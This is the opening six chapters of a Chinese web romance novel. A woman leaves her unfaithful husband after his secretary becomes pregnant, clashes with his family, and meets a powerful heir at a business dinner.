《八年暗恋错付,我离婚二嫁你急什么?》
第一卷 第1章 五年婚姻喂了狗
纪安澜和江容川结婚第五年,终于有了孩子。
但怀孕的那个人不是她。
产科走廊里,和江容川一起产检的人是他的秘书宋妘妘。
“容川,咱们的宝宝是男孩还是女孩啊?”
隔着几米外,纪安澜听到宋妘妘喜悦的声音。
“都好,只要是你生的,我都喜欢。”
到了门口,宋妘妘进去检查,江容川自然而然接过她的包,站在外面等候。
视线一直盯着那扇关闭的门。
几分钟后,宋妘妘拿着单子走出来。
漂亮的脸蛋上尽是初为人母的喜悦:“医生说宝宝很健康,只不过我有些贫血,你知道啦,人家平时注重身材管理,吃的很少。”
“回头收拾一下搬去御景湾,我让苗姐过去照顾你。”
“那怎么行啊,这房子不是你给她买的海景房吗?我怎么好意思……”
“你和孩子重要。”
纪安澜站在身后,看着两人像一对恩爱的夫妻。
结婚五年来,她一直没有怀孕,打针吃药,能用的法子都用过了。
肚皮上都是密密麻麻的针孔。
今天来医院就是跟医生商量下一次手术方案,没曾想会看到这一幕。
宋妘妘的肚子看着最起码四个月了,怪不得这段时间家里没人催她。
原来外面已经有人为他生孩子了。
当年在江氏危机时,纪安澜带着两份合同敲开江容川房门。
一份是五千万注资合约,一份是结婚协议。
她并没有高高在上的逼迫,而是给他三天思考时间。
江纪两家是故交,她15岁那年,遇到国外回来的江容川,见第一面就喜欢上了。
这些年一直默默跟在他身后,跟他考同一所大学,读同一个专业。
坐在他曾经坐过的教室,用他亲手整理的笔记。
她知道以江容川的能力,很快能够摆脱困境。
即使他拒绝自己,往后也能以朋友的身份留在他身边。
她太喜欢江容川了,哪怕是远远看着都心生欢喜。
哪曾想江容川没有多做思考的在结婚协议上签字。
那晚纪安澜就留在他的房间里。
八年暗恋,五年婚姻,她25岁的人生里,他填满了一半。
他是她第一个男人。
她是他的妻子。
婚后,江氏和纪氏合二为一,在他的带领下,商业版图一再扩充。
就在她以为,为只要有了孩子,自己的人生就已经完美时。
可现实却狠狠给了她一巴掌。
江容川在外面有人了,而且还怀孕了。
更糟糕的是,江家所有人都知道。
站在医院门口,婆婆柳清眉满脸含笑的抚摸着宋妘妘的肚子。
小姑子江曦月一口一个嫂子叫着。
一家人和和美美,唯独她,像个小丑一样,分外多余。
“嫂子,我知道有一家霖城菜特别好吃,哥哥提前订了位子,咱们过去吃吧。”
这时候江曦月看到了几米外的纪安澜,瞬间变了脸。
“你怎么在这里?”
江容川的目光幽幽撇过来,脸色很不好。
“你来这儿做什么?”
纪安澜走过去,黑漆漆的双眼看不出情绪。
只是一个劲的盯着宋妘妘的肚子。
宋妘妘吓得赶紧捂住肚子,往江容川怀里钻。
“你先回去,有什么事,晚点再说。”
江容川拦着宋妘妘表情不耐。
他像以前那样,没有多余的情绪,也不想解释。
可这次,纪安澜不想装聋作哑了。
“江容川,把我像个傻子一样骗着,很好玩吗?”
“这里不方便说话,回去我跟你解释。”
“就是的,这是医院,你想把所有人都吸引过来看笑话吗?”
“纪安澜,你闹什么闹,赶紧回去!”
“你们还知道丢脸?骗我的时候,你们考虑过我的感受吗?”
她是爱江容川爱到无可救药,但这并不代表着他们一家人可以肆意践踏她的尊严。
都到这个时候了,她们在乎的只是江家脸面。
那她呢?
为了怀上孩子,难以下咽的中药一碗碗往下灌,手指长的针往身上扎。
到头来成了他们眼里的无理取闹?
“我不走,今天在这儿不把话说清楚,谁都不许离开!”
“纪安澜,你有病别拖累我们,大街上吵架,想把江家的脸都丢尽吗?”
江曦月一向不喜欢她,总算让她找到出气的门路。
指着纪安澜鼻子破口大骂:“你自己废物怀不上孩子,还有脸跟我们吵架?”
纪安澜抬头,直直的看着江容川。
江容川掀起眼皮,眸中尽是不耐:“别在这儿闹,赶紧回去!”
说完,护着宋妘妘往旁边的车里走去。
“听到没,我哥让你回家!还不快滚!”
江曦月得意洋洋的跟上去。
一家人离开,将她一个人丢在原地。
“江容川!你给我站住!”
不知哪里来的力气,纪安澜嘶吼着追上那辆熟悉的迈巴赫。
此刻她什么都不想,只想冲到江容川面前,问清楚他签字结婚时是否有过一丝真心。
问清楚这五年的婚姻到底算什么!
路口的红绿灯闪烁,纪安澜像是没听到鸣笛,快步冲了过去。
就在她即将追上车身的瞬间,一辆失控的货车从侧面疾驰而来。
紧接着是剧烈的撞击感,身体像断线的风筝一样被甩出去。
“病人失血过多,准备紧急手术!”
“血压下降,快用升压药!”
被推进手术后,无影灯的光芒刺得她眼睛生疼,意识在清醒与昏迷的边缘反复拉扯。
“病人手机在这里,联系下家属吧,手术需要签字。”
护士拨通电话,那端传来江容川不耐烦的声音,“什么事?”
“请问是纪安澜女士的家属吗?她现在在市一院抢救室,情况很危急,需要您过来签字……”
话还没说完就被江容川不耐烦的打断:“死了吗?”
“先生,病人现在生命垂危……”
“垂危?”那头静默几秒,传来轻蔑的语气:“装病对我没用,若真的死了,通知我来收尸!,”
电话被无情挂断,抢救室里一片寂静。
心电监护仪发出的“滴滴”声,格外刺耳。
纪安澜的眼角滑下一滴泪,原本紧绷的身体彻底放松下来。
原来,心死真的是一瞬间的事。
她看着头顶那盏冰冷的无影灯,眼前闪过十五岁初见江容川时的阳光。
闪过他签字时的侧脸,闪过自己满是针孔的肚皮……
最后,一切都归于黑暗。
再次醒来时,手臂被纱布包裹,她拿起床头上碎屏的手机播出电话:“叶律师,帮我写一份离婚协议,立刻,现在!”
第一卷 第2章 就算死也要给我爬回来!
“纪小姐,这是离婚协议初稿。”叶哲将文件放在病床边的小桌上,眉头拧成川字。
来之前他已经得知始末,做好了准备,只是没想到纪安澜会把自己折腾成这幅样子。
叶哲从小跟着纪家,纪安澜父亲纪苍远还没过世时,就跟着为纪氏做事。
如今两家公司合并,他想帮也是有心无力。
“但我必须提醒您,您若执意要离,得做最坏的准备。”
纪安澜看协议的动作顿住:“什么准备?”
“当年纪氏注资后,业务已逐步并入江氏体系。这几年江总通过一系列资本运作,悄悄收购了纪氏散股,不管是股份还是业务,纪氏都已经融进江氏,以您现在的实力,根本无法与他对抗。”
叶哲的声音压得很低,“真闹到法庭,您可能……净身出户,我劝您慎重!”
纪安澜的指尖猛地攥紧,协议纸被捏出褶皱。
江容川的野心和实力,她从一开始就知道。
可她从没想过,最后会和他闹到撕破脸的状态。
“我不信他能一手遮天。”她咬牙,“就算只剩一口气,我也要拿回属于我的东西。”
“行吧,你自己考虑清楚就行。”
叶哲的话,给了纪安澜不少打击。
她在床上枯坐着。
外卖员的电话打过来,纪安澜下床,她扶着墙走到医院门口。
刺眼的阳光里,一辆熟悉的迈巴赫停在不远处。
江容川正替宋妘妘拉开车门,小心翼翼地扶着她的腰,动作温柔得能掐出水。
宋妘妘娇笑着钻进车里,明晃晃的笑容,衬的她越发失色。
目送那辆车离开,她转身回病房吃饭。
只不过那碗凉掉的粥,很难吃。
眼泪砸在塑料盒里,混着米粒一起咽下去,又苦又涩。
粥没吃几口,江曦月的电话炸了进来。
“纪安澜,你死哪儿去了?下周六是爷爷寿宴,要在纪家庄园办,赶紧滚回来准备!”
“去不了,你找别人吧!”
“找什么别人,你现在是江太太,哪怕是死,你也要给我爬回来!”
都闹到这种程度了,江曦月还以为能继续对她颐指气使?
以前她宠着惯着江曦月,对她的任何要求无条件满足,是因为爱着江容川,愿意为江家人付出。
现在,她不会再犯傻!
“我告诉你,今天再不回来准备,我告诉我妈,看她怎么收拾你!”
“我连江容川都不要了,会怕你妈那个老小三?”
“你反了天了!”江曦月瞬间大叫。
柳清眉当年小三上位,这是江家的禁忌。
纪安澜这句话像是点着了炮仗,那头的江曦月直接炸起来。
各种难听咒骂的话往出蹦,纪安澜直接挂断。
顺手将她拉进黑名单。
江曦月气得摔了手机。
好你个纪安澜,有本事了啊!
真以为我拿你没办法?
江曦月当即给江容川打去电话:“哥,妈妈让我给纪安澜打电话叫她回来,纪安澜非但不回来帮忙筹备寿宴,还说妈妈是小三,骂咱俩野种!”
“你没事招惹她做什么?”
江容川口气很不好的责问:“还有你就算再讨厌她,江家的规矩忘了?她是你嫂子,谁准许你直呼姓名的?”
电话那头的江曦月蔫吧了。
“哥,你怎么向着纪安澜说话,我是不是你妹妹啊!”
“行了,寿宴的事让妈看着准备。”
丢下这句,江容川直接挂断电话。
反正不管怎么精心准备,江老爷子对他们母子三人始终没有好脸色。
助理徐亮站在一旁,犹豫着开口:“江总,那天在医院门口,我好像看见……太太追您的车了,后来还发生了车祸,会不会她是真的不舒服?”
“追车?”江容川嗤笑一声,笔重重砸在桌上,“她纪安澜最惜命,怎么可能拿自己的命开玩笑?无非是想逼我低头。”
他挥挥手,“别管她,让她闹够了自然会回来。”
徐亮觉得事情好像没有这么简单。
他虽然瞧不上纪安澜的死缠烂打,每次见到江总恨不得像个人形挂件黏在江总身上。
但从昨天到现在,太安静了。
换做以前,还不把江家给拆了!
以前有次结婚纪念日,江总出差,飞机延误。
江总一下车就赶回家,结果回家看到满地狼藉。
纪安澜公主病发作直接把家给砸了。
这次这么平静,按照她的性子,肯定不会善罢甘休。
徐亮想提醒,但瞧着总裁一脸不耐,只好忍下去。
当晚十点,私人会所的包厢里,江容川和薛从对坐喝酒。
“听说宋妘妘怀了?可以啊你,兵贵神速,厉害!”薛从晃着酒杯调侃。
江容川阴恻恻的眼神甩过去,薛从笑嘻嘻打趣:“什么时候跟纪安澜离啊?”
江容川灌下一杯威士忌,喉结滚动,没说话。
“你可得想清楚,”薛从凑近,“沈南姗下个月就回国了,当年江家的基业,是她妈和你爸打下来的,她回来,肯定是奔着家产来的。”
他戳了戳江容川的胸口:“现在纪氏成了江氏子公司,纪安澜没利用价值了。但宋妘妘怀的是江家长孙,老爷子那边肯定偏心你。这时候离婚,把宋妘妘扶正,对你争家产百利而无一害。”
江容川的手指摩挲着酒杯壁,眼底一片浑浊。
薛从的手机想起来,看到来电人,立刻换了副谄媚的语气:“媳妇儿,我马上回去!”
说着抓起外套往出跑。
留在江容川一个人喝闷酒。
凌晨,江容川被司机送回婚房。
推开门,客厅黑漆漆的,没有像往常一样留灯。
江容川跄着倒在沙发上,手捏着鼻梁,“澜澜,给我倒杯水……”
四周静悄悄一片。
没有等到纪安澜唠叨,他这才反应过来纪安澜没回家。
江容川摸出手机,指尖悬在纪安澜的号码上,最终狠狠砸在沙发上。
“纪安澜,我倒要看看你能闹到什么时候!”
第二天一早,江容川一改往日精致,穿了件皱巴巴的衬衣上班。
“江总怎么回事?平时都很整洁的……”
“是不是和太太吵架,被赶去睡沙发了?”
女职员们之前见过纪安澜,对她骄纵模样印象深刻。
“背后议论上司,很闲吗?”
宋妘妘挺着肚子快步走过来,声音尖利又带着刻意的优越感。
“手头的项目都做完了?这个月绩效不想要了?都给我滚回去工作!”
第一卷 第3章 她爱我爱到骨子里
从茶水间出来,宋妘妘立刻换上一副温柔面孔,推开江容川办公室的门
江容川正背着身靠在真皮椅上,望着落地窗外的车水马龙,一脸疲惫。
宋妘妘伸手帮他捏肩。
江容川下意识按住落在肩上的手,语气带着不易察觉的柔和:“你回来了。”
“容川,我搬去海澜湾和你一起住吧,宝宝需要爸爸的陪伴。”
“现在还不行,没离婚,传出去对公司不好。”
“那我得等到什么时候啊。”
“快了,等爷爷寿宴过去。”
江容川这句话给宋妘妘吃了定心丸。
回到自己的工位,她点开纪安澜微博。
最新一条是半年她和江容川的结婚纪念日合照,配文“五年之约,岁岁年年”。
宋妘妘冷笑,点开微信,给纪安澜发去她和江容川的亲密合照。
“等我的孩子生下来,你照样会被江家扫地出门!我看你能装到什么时候!”
医院病房里,纪安澜看到消息,很轻的嗤笑一声。
截图保存。
不多会儿,一个陌生号码打过来。
“纪安澜,你再不回来,我就把你那些破东西全扔出去!”
江曦月尖锐的声音传进来。
“我的破东西?”纪安澜嗤笑,“你想要那些限量版包包和珠宝,用不着拐弯抹角,跟你那个小三上位的妈一样,贪婪又无耻!”
“你敢骂我妈?”江曦月尖叫,“纪安澜你个不下蛋的废物,有什么资格说我妈!”
“至少我光明正大,不像柳清眉,靠抢别人老公上位。”
纪安澜语气冰冷,“还有,我能不能生,轮不到你管。再骚扰我,我不介意把江家那些龌龊事捅出去!”
她直接挂了电话,再次拉黑。
江曦月气得浑身发抖,狠狠跺脚:“好,纪安澜,你给我等着!”
“别以为你躲起来我就拿你没办法!”
半小时后,纪安澜接到疗养院的电话,护工娟姐的声音很着急:“纪小姐,您快来!您母亲晕倒了。”
纪安澜的心猛地一紧,打车到疗养院。
妈妈还在里面抢救,娟姐手足无措的站在门口。
抢救室外,江曦月还在对着昏迷的林慧敏骂骂咧咧:“老东西,死不了的,有什么好怕……”
纪安澜原本还好奇妈妈好端端的怎么会晕倒,看到江曦月瞬间明白。
走过去一记响亮的耳光甩在江曦月脸上。
“江曦月,你最好祈祷我妈没事,否则我弄死你!”
江曦月捂着脸,“纪安澜你敢打我?信不信我告诉我哥,让他把你彻底扫地出门!”
“去啊!”纪安澜眼神冰冷,“现在就去,不去你就是我养的!”
“好!你给我等着!”江曦月又气又怕,掏出手机就给柳清眉打电话,哭喊道:“妈!纪安澜她打我!她还骂你是小三……”
江曦月鬼哭狼嚎说了什么,纪安澜一个字都没听到。
手术们打开,护士推着昏迷的母亲出来。
纪安澜帮忙推着母亲进病房,仔细帮母亲掖好被角。
转头对娟姐道:“娟姐,我妈就拜托你了,24小时盯着,有任何情况立刻给我打电话。”
“放心吧纪小姐。”
安排好一切,纪安澜出来看见江曦月还赖在门口,语气如冰:“滚远点!”
“凭什么?这医院又不是你家开的,我偏要在这,看着你妈咽气……”
一把揪住江曦月的头发,扬手又是一巴掌,“你再说一个字我杀了你!”
“啊!纪安澜你疯了!”江曦月尖叫着挣扎,就在这时,江容川的身影撞开病房门,两步冲过来。
一把掐住纪安澜的胳膊,力道大得像要捏碎她的骨头,“纪安澜,你够了!”
纪安澜疼得皱眉,刚要开口,江曦月趁机挣脱,反手狠狠一巴掌甩在她脸上。
纪安澜的嘴角瞬间溢出血丝。
“你敢打我?”纪安澜红了眼,像被激怒的困兽,当即扑上去就要还手。
江容川却死死按住她的肩膀,将她往后一推,踉跄着撞在病床栏杆上,她疼的倒吸一口冷气。
“江容川!”眼泪在眼眶里打转,纪安澜死死咬着牙没掉下来,“你就看着你妹妹打我?”
“是你先动手打她,”江容川的脸色冷得像冰,“你俩扯平了,别在这儿丢人现眼!”
“扯平?”纪安澜笑了,笑得眼泪都流了出来,“江容川,这就是你说的保护我?是江曦月先跑到这儿来刺激我妈,她把我妈气晕过去!你知不知道我差点没妈妈了……”
“那你也该打!”江曦月躲在江容川身后,探出头叫嚣,“谁让你死皮赖脸粘着我哥!纪安澜你就是犯贱,你活该被抛弃!”
“江曦月……”纪安澜扑上去要撕烂她那张贱嘴,被江容川冷漠挡住。
“闭嘴!”江容川回头瞪了妹妹一眼,“这没你的事了,回去!”
“哥!”江曦月不服气地嘟囔,“纪家已经倒了,还留着她做什么!”
江容川的眼神骤然变冷,江曦月吓得缩了缩脖子,麻利溜了。
病房里只剩下他们两人,空气压抑得让人窒息。
“你这几天去哪里了?”江容川松开手,语气带着惯有的命令,“多大的人了,还玩离家出走的把戏。”
纪安澜揉着发疼的胳膊,心彻底沉到了谷底。
她擦掉嘴角的血丝,冷冷开口:“与你无关。”
“跟我回去。”江容川皱眉,“医院的事,我可以当什么都没发生过。”
“当什么都没发生?”纪安澜像是听到了天大的笑话,“江容川,你哪儿来的脸说这句话?你婚内出轨,让你的小三怀了孩子,现在反过来让我当没事人?告诉你,是我不要你了!”
江容川的脸色瞬间变得难看,他上前一步,逼近纪安澜,语气带着威胁:“你今天不跟我回去,往后就别再想踏进江家大门一步!”
“求之不得。”纪安澜挺直脊背,迎上他的目光,“江家的门,我早就不稀罕进了。”
说完,她转身就走,没有一丝留恋。
江容川看着她决绝的背影,手指猛地攥紧,脸色阴沉得可怕。
一直守在门外的徐亮小心翼翼地走进来,低声问:“江总,过几天就是老爷子的寿宴了,太太不回来,到时候……”
江容川冷哼一声,眼神里带着笃定:“她会回来的。”
“这十二年,她爱我爱到骨子里,她离不开我!”江容川的语气带着不容置疑的自信,“她只是在闹脾气,寿宴那天,她肯定会回来!”
第一卷 第4章 老娘不伺候了!
疗养院的病房里,纪安澜握着母亲微凉的手,眼眶泛红。
七年前那场大火,父亲拼死将她和母亲揪出来,自己却葬身火海,从那以后,母亲神志不清。
此时正傻愣愣地捏着纪安澜的头发,笨拙地梳理着,“澜澜头发软,要梳顺才好看……”
“妈,我要和江容川离婚了,往后我只有你了。”纪安澜抱着妈妈,心里一片冰凉。
“离婚?”身子一滞,眼神突然变得惊恐,一把揪住纪安澜的衣领,疯狂地撕扯,“火!好大的火!澜澜快走!别被烧到!”
“快走啊——”
她一把推开女儿,抓起桌上的东西,又扔又砸。
“妈,你怎么了……”
问询而来的护士和医生,给林慧敏注射了镇静剂。
看着母亲重新陷入沉睡,纪安澜才松了口气,捡起刚才被母亲扯断的项链。
这是她十八岁生日时爸爸送给她的成年礼。
她攥着断裂的项链,转身去了附近的珠宝修复店。
刚推开门,就看见江容川正陪着宋妘妘挑选钻戒。
宋妘妘手里捏着一枚粉钻,钻石的光芒分外刺眼。
“容川,这个9.9克拉的好看。”
“喜欢就买。”江容川的声音带着惯有的宠溺,掏出黑卡递给柜姐。
签字时,手机响了,他转身去一旁接电话。
宋妘妘抬眼就看到了门口的纪安澜,眼底闪过一丝得意,提着裙摆走过去。
“哟,这不是安澜姐吗?”她故意把钻戒举到纪安澜眼前,“这戒指六千万,容川眼睛都没眨就给我买了。不像某些人,连自己妈妈的住院费都快凑不齐了吧?”
纪安澜的心像被针扎了一下,转身就要走。
宋妘妘一把拉住她的胳膊,不依不饶:“怎么?不敢听了?”
“松开!”
宋妘妘用力捏着,指甲嵌进她手腕的肉里。
“别告诉我你想故意摔倒,诬陷我推你?”
宋妘妘嗤笑:“我肚子里怀着的是江家长孙,犯不着用这种蠢办法!”
话音刚落,她猛地往后一退,用力推了纪安澜一把,发出一声凄厉的尖叫,“纪小姐!求你放过我!”
“别伤害我肚子里的孩子……”
纪安澜原本有伤,摔在地上,疼的脸色煞白。
江容川冲过来,一眼就看到倒在地上的宋妘妘和站在一旁的纪安澜,怒火瞬间涌上心头。
“容川,是我不好。”
江容川抱起宋妘妘,恶狠狠地盯着纪安澜:“纪安澜,你最好祈祷妘妘和孩子没事,否则我饶不了你!”
刚起身的纪安澜被他推得一个趔趄,看着江容川抱着宋妘妘匆匆离去的背影,连一个眼神都没给她。
心彻底凉透了。
到了医院,医生给纪安澜的膝盖和胳膊包扎伤口,皱着眉说:“你这胳膊旧伤没好又添新伤,再这样下去,这条胳膊就别要了!”
纪安澜抿唇不语。
结果刚走出诊室,就迎面撞上了宋妘妘和江容川。
“纪小姐……”宋妘妘故作柔弱地开口,“刚才在珠宝店我不是故意的,你别往心里去。”
“是不是故意的,你自己心里清楚。”纪安澜冷笑。
“当了婊子还想立贞节牌坊,宋妘妘,你也就这点手段了!”
“纪安澜!你说话太恶毒了!”江容川怒喝,“这些年我真是把你惯坏了,出口成脏还动手伤人!”
迎着他的怒气,纪安澜积压的情绪彻底爆发。
抬手甩给宋妘妘一巴掌,清脆的响声让走廊瞬间安静。
“看好了!这才是真动手!”
“我纪安澜光明磊落,跟你们这些阴沟里的臭虫不一样!我敢作敢当,不屑用那些卑贱手段诬陷人!”
“你简直无法无天!”江容川气得发抖,“我现在就报警,把你送进监狱!”
“好啊,你报!”纪安澜迎上他的目光,“婚内出轨,纵容小三欺负原配,这些丑事你都干得出来,还有什么不敢的?尽管报警,让所有人都看清你江容川自私伪善的一面。”
江容川被她堵得说不出话。
这是他第一次从纪安澜脸上看到如此浓烈的厌恶。
不是闹脾气的委屈,是从骨子里的嫌弃。
“容川,我肚子好疼……”
江容川狠狠瞪了纪安澜一眼,抱着宋妘妘就往急诊室跑。
纪安澜独自走出医院,叶哲的车早已停在门口。
“纪小姐,上车吧,吴总那边还等着。”
远处的徐亮看到这一幕,回去后立马告诉江容川。
“江总,太太上了一辆陌生男人的车。”徐亮又递上一份单子,“夫人让准备一千万,说是老爷子寿宴要用的。还有,老爷子以前爱吃的那家点心铺,您知道师傅去哪了吗?”
“这种小事也问我?”
“以前这些都是太太亲自准备的,夫人和二小姐确实不清楚……”
江容川的动作一顿,脸迅速沉下来,“让纪安澜回来准备!”
徐亮心里犯嘀咕,两人都闹成这样了,纪安澜怎么可能回来?
可他不敢反驳,只能硬着头皮给纪安澜打电话。
“纪小姐,老爷子待您不薄,您做人要懂得知恩图报,你要是还记得……”
“告诉江容川,老娘不伺候了!”
纪安澜挂断电话。站在兰会所的包厢外,她深吸一口气,推开门走进去。
包厢里坐了不少大佬,纪安澜的目光不由自主的被最中间主位的男人吸引。
穿着纯黑衬衫,五官隐匿在黑暗里,懒洋洋的倚在沙发里,露出一截白皙的手臂。
夹子指缝里的烟飘出一团白色烟雾。
俊美到让人忍不住多看两眼的存在。
“纪小姐,稀客啊。”吴总眯着眼打量她,语气轻佻,“江总怎么舍得让你抛头露面谈生意?”
纪安澜挺直脊背,将项目案放在桌上,“我和江容川正在办理离婚手续。今天我是代表纪氏,来和吴总谈合作。”
吴总眼睛一亮,早就觊觎纪安澜的美貌,这下更是没了顾忌。
端起酒杯递过去:“想谈合作可以,就得看纪小姐的诚意了。”
第一卷 第5章 等你来找我
纪安澜微笑着看过去。
“纪小姐有魄力,今儿来的都是京海有名的投资人,这桌兄弟,每人敬一杯,合同的事咱们就好说。”
纪安澜愣了一瞬,咬牙接过酒杯,挨个敬酒。
一杯接一杯,胃里翻江倒海,眼前开始发花。
当她端着第九杯酒看向隐匿在黑暗里的男人时,有些迟疑。
“愣着干什么合约还想不想要了!”吴总身体往纪安澜这边凑了凑,酒气喷在她脸上。
倍感恶心。
安澜浑身一僵,正想侧身躲开,胳膊突然被人轻轻顶了一下。
力道不重,端着酒杯的手猛地一歪。
满满一杯红酒,不偏不倚的从吴总领口浇下去。
“纪安澜!你反了天了!”
纪安澜恶狠狠的瞪了眼始作俑者,只见他置身事外般的慵懒坐着。
完全不把她的窘迫当回事。
“抱歉,吴总,是他撞了我。”
“你放屁,我看你就是存心不想合作,滚,今天这生意别谈了!”
纪安澜原本也没指望吴有天能给自己多少帮助。
转头看过去:“你是谁啊?咱们有仇吗?”
这声质问,让包厢里瞬间安静下来。
这可是周少,这女人不要命了?
所有人的目光都投向了角落里沉默的男人。
男人穿着一身剪裁利落的黑色西装,长腿交叠,指尖夹着一支未点燃的烟,侧脸线条冷硬流畅。
听到纪安澜的话,他缓缓抬眼,幽黑的眸子扫过众人,薄唇轻启,换换吐出两字:“周慎。”
纪安澜心头一动,这个名字有些耳熟。
电光火石间,想起这位就是周家找回来的二公子。
圈里出了名的纨绔,阅女无数,换女人比换衣服还勤,行事透着让人摸不透的狠辣。
她怒气不减,对着吴有天嘟囔:“看到没,他自己都承认了,是他撞了我,冤有头债有主你这西装让他赔!”
吃了熊心豹子胆了让周少赔钱?
吴有天慌忙掏出纸巾擦着脸,“不用了,我怎么好意思责怪您呢。”
说着又转头瞪向纪安澜,“还不快给周少道歉?小心点,别烫着周少!”
纪安澜嗤笑一声,没理会吴总的呵斥,径直朝周慎伸出手:“你好,我叫纪安澜,纪氏负责人。”
周慎懒洋洋地掀起眼皮,目光在她脸上逡巡一圈,带着毫不掩饰的审视和轻佻:“女经理还是女公关?”
“周少说笑了!”吴总赶紧凑过来打圆场,“这是纪氏的纪总,来跟我谈投资项目的。”
他一边说,一边给纪安澜使眼色,示意她赶紧服软。
纪安澜不知死活,吴总只好端起酒杯,恭敬地递到周慎面前:“周少,我敬您一杯,刚才的小插曲您别往心里去。”
周慎却连眼皮都没抬一下,手指依旧漫不经心地摩挲着烟身。
吴总碰了个冷钉子,脸色有些挂不住,转头就把火撒到纪安澜身上:“纪安澜,你没长眼睛吗?没看到你扫了周少的兴致?还不快过来给周少赔礼道歉!”
纪安澜心里清楚,周慎这身份,远比吴总更有话语权。
从包里拿出项目合约,双手递到周慎面前,“周少,这是纪氏AI智慧平台的项目合约,技术和市场前景都经得起推敲,您可以看看。”
周慎懒洋洋的坐着。
“纪总,你怕不是脑子糊涂了?周少是什么身份,能轮得到你一个弃妇来谈项目?”
“就是,也不看看自己几斤几两,别在这丢人现眼了。”
纪安澜面上不动声色,反而看向吴总和那些跟班,语气带着几分天真的疑惑:“刚才吴总和各位都能跟我谈项目,为什么周少不可以?难不成,周少的眼光和能力,还不如各位?”
这个蠢货!
吴总在心里暗骂一声,后悔带她过来。
“吴总,你说呢?”
“周少,我不是这个意思!我们怎么能跟您比啊……”
纪安澜把合同往前又递一寸:“你看,吴总都说了比不上您,确定不看吗?”
周慎扫了合约封面一眼,语气淡漠:“我从不跟无名之辈谈生意。”
“是吗?”纪安澜挑眉,语气带着几分不易察觉的讽刺,“我倒是听说,周家的生意,一直是大公子周霆云说了算,看来外界的传言,果然不假。”
周慎的眼神瞬间冷下来。
猛地抬手,一把拽住纪安澜的手腕,力道大得几乎要捏碎她的骨头。
纪安澜重心不稳,直接跌进了他的怀里。强势的气息笼罩下来,带着淡淡的烟草味和雪松味。
危险又迷人。
“激将法对我不管用。”周慎俯身看着她发红的耳坠,带着几分暧昧的灼热,“除了美色,我不接受任何贿赂。”
说着伸手,撩起纪安澜的下巴,慢慢抬起来,眸中尽是戏谑。
“周少真会说笑。”
“既然知道我在开玩笑,还不快滚。”
周慎的语气骤然变冷,松开了她的手腕,一把将人推出去。
纪安澜整理了一下衣服,捡起掉在地上的合约。
并没有像吴总预期的那样狼狈离开,反而拿出一张自己的名片,笑盈盈的走到周慎面前。
盯着他看了两秒,将名片插进他衬衣领口。
“周少,合作讲究的是互利共赢,纪氏的项目,很有前景。”
说着弯腰凑到他耳边,声音压低了几分,“我等你来找我。”
说完,纪安澜转身,不管其他人表情,挺直脊背,头也不回地走出了包厢。
周慎抬手,指尖触碰到领口的名片,上面似乎还残留着纪安澜身上淡淡的栀子花香。
望着包厢门的方向,幽黑的眸子里终于多了几分深意,若有所思地摩挲着名片边缘。
第一卷 第6章 上错车了!
“这女人就是不知道天高地厚!竟然妄想跟您合作,也不看看自己什么德行?周少什么样的女人没见过?怎会选择跟她合作?”
吴有天说着,举起酒杯,一脸谄媚地笑着看着周慎。
“周少,您说对吧?”
思绪回笼,骨节分明的手指一捏,名片放到了掌心,他没应声,颀长的身影缓缓站起,朝着门口走去。
吴有天立刻追过去,一把按住了他的肩头。
“周少,时间还早,您是要去干什么?不留下来听听我们的合作吗?”
男人驻足,锐利的眸子仿佛一把无形的刀,瞥了一眼搭上来的手,周身寒气骤降,眼里闪过一丝不耐烦。
“都怪那个不解风情的女人!凡事都靠男人,没了男人什么都不是,还自以为很清高,其实就是个千人骑万人睡的婊……”
话还没说完,周慎突然转身,阴鸷的眸子像是一条毒蛇,冷冷地瞪着他。
吴有天脸色微变,浑身一震,盯着那双眼眸,只觉后背发寒,酒醒了大半,不知道哪句话得罪了他,心虚地吞咽了一下口水。
“不提他了,周少,上次我们说的合作,您看什么时候开始……”
不说他还忘了。
周慎掏出手机,薄唇轻启,语气中带着不容人置喙的威严:“撤销一切跟吴氏的合作。”
话音刚落,吴有天脸色大变,血色全无,大眼睛不可置信地看着周慎。
“五分钟内,我要收到解约函。”
“周少,说什么啊?周少。”
还以为自己听错了,上赶着求情,“跟那个女人一点关系都没有,她自己缺男人,我可没有碰过她!”
眼见着那道颀长的身影走出包房。
吴有天迅速追了过去,想要去拉周慎。
却被保镖瞬间禁锢,身子无法动弹,只能一直求饶。
“周少,我不知道哪句话说错了,还请你给我个机会,我真的很需要这次合作!只要你肯原谅我,让我做什么都可以。”
“哦?是吗?”
周慎幽深的眸子泛着一丝冷意,视线落在了吴有天的右手上。
刚才,他确信这只手搭在了纪安澜身上。
“那就把这只手留下。”
说罢,指尖夹着的烟往上一抛,迈着修长的腿离开。
身后,一声杀猪般的嚎叫,伴随着骨骼碎裂的声音,响彻了整个走廊。
包房里的人目睹一切,吓得浑身血液骤停,脸色惨白,捂住了嘴巴。
周慎这个活阎王的称号真不是白叫的。
他们没有一个人知道吴有天是怎么得罪周慎的。
只知道,以后一定要谨言慎行,否则可能会落到跟他一样的下场,甚至更惨。
……
初秋的风有些凉意,吹在脸上,正好可以醒醒酒。
纪安澜蹲在路边,掏出手机,找出打车软件,眼神迷蒙,头有些晕。
想到刚才发生的一切,就觉得头疼。
虽然递出了橄榄枝,不过想起周慎那张阴冷的脸,他就觉得这次合作恐怕要打水漂。
捏了捏有些发疼的眉心,纪安澜跌跌撞撞地站起来。
突然,一辆车子在她眼前停下。
一个黑影冲了过来,一把揪住了她的胳膊。
“纪安澜!你不去准备爷爷的寿宴,在这里干什么?”
江容川暴怒的嗓音在耳边响起。
纪安澜眯起眼睛,看清来人后,脸色骤然一冷。
“滚!”
想要甩开他的手,身子踉跄,险些摔倒。
江容川紧紧握着纪安澜的手腕,冷声呵斥:“你知道我给你打了多少电话?还耍上大小姐脾气,居然敢不接我电话?翅膀硬了?”
“放开我!”纪安澜懒得跟他废话,看见他的脸更觉得胃里翻滚的难受。
“身为江太太你有责任负责好这一次的宴会!你连一点责任心都没有吗?”
人在无语的时候,真的很想笑。
纪安澜掀起眼皮,可笑地问:“那你呢?你尽到丈夫的责任了吗?”
纪安澜掏出手机,上面赫然是江容川与宋妘妘的亲密照。
江容川脸色骤变,身上的气焰消了大半,紧攥着纪安澜胳膊的手也心虚地松了些。
“你先跟我回去,准备爷爷的寿宴,这些事等以后再说。”
江容川拉着纪安澜就要走。
本就胃里一阵翻江倒海,被江容川用力一拽,纪安澜脚步虚乏,身体向前倾。
扶着江容川的胳膊,好不容易站直,突然胃里翻滚。
“呕——”
纪安澜吐了。
不偏不倚正好吐在了江容川笔挺的西装上。
